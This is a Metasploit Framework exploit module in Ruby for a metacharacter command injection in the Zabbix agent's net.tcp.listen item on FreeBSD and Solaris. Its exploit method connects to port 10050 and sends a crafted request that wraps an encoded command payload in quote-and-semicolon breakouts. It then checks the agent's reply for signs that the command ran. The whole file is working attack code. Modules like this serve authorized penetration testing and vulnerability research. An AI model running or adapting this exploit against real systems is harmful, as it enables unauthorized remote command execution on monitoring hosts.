103 lines
2.3 KiB
Ruby
Executable File
103 lines
2.3 KiB
Ruby
Executable File
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zabbix Agent net.tcp.listen Command Injection',
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'Description' => %q{
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This module exploits a metacharacter injection vulnerability
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in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
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can only be exploited if the attacker can hijack the IP address
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of an authorized server (as defined in the configuration file).
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '60956' ],
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[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' =>
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{
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'BadChars' => "'",
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'Space' => 1024,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(10050)
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], self.class)
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end
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def exploit
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connect
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rnd_port = rand(1024) + 1
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buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"
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print_status("Sending net.tcp.listen() request to the zabbix agent...")
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sock.put(buf)
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res = nil
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begin
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res = sock.get_once(-1, 5)
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rescue ::EOFError
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end
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if ! res
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print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")
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disconnect
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return
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end
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if (res =~ /ZBX_NOTSUPPORTED/)
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print_status("The zabbix agent is not running a vulnerable version or operating system.")
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disconnect
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return
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end
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if(res !~ /ZBXD/)
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print_status("The zabbix agent returned an unknown response.")
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disconnect
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return
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end
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print_status("The zabbix agent should have executed our command.")
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disconnect
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end
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end
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